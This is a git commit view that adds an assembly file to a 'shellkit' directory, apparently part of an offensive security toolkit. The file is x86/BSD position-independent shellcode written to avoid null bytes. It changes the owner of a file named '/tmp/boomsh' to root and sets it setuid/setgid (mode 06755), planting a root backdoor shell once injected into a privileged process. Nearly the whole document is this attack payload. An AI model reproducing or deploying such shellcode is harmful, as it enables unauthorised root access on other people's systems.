summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_bsd/FIXME_chmod.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_bsd/FIXME_chmod.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/x86_bsd/FIXME_chmod.s')
-rw-r--r--other/shellkit/x86_bsd/FIXME_chmod.s43
1 files changed, 43 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd/FIXME_chmod.s b/other/shellkit/x86_bsd/FIXME_chmod.s
new file mode 100644
index 0000000..6f19d23
--- /dev/null
+++ b/other/shellkit/x86_bsd/FIXME_chmod.s
@@ -0,0 +1,43 @@
1/* x86/BSD PIC local chmod code
2 *
3 * by stealth
4 */
5
6 .globl cbegin
7 .globl cend
8
9cbegin:
10 jmp boomsh
11
12foo: popl %ebx
13 incl (%ebx)
14 incl 4(%ebx)
15
16 xorl %eax, %eax
17 movb %al, 11(%ebx)
18
19 movb $16, %al /* chown */
20 xorl %ecx, %ecx
21 pushl %ecx
22 pushl %ecx
23 pushl %ebx
24 pushl $1
25sys_1: int $0x80
26
27 xorl %eax, %eax /* chmod */
28 movb $15, %al
29 pushw $06755
30 pushl %ebx
31 pushl $1
32sys_2: int $0x80
33
34 xorl %eax, %eax
35 incl %eax /* exit */
36 pushl $1
37sys_3: int $0x80
38
39boomsh: call foo
40 .string ".tmp.boomsh.";
41cend:
42
43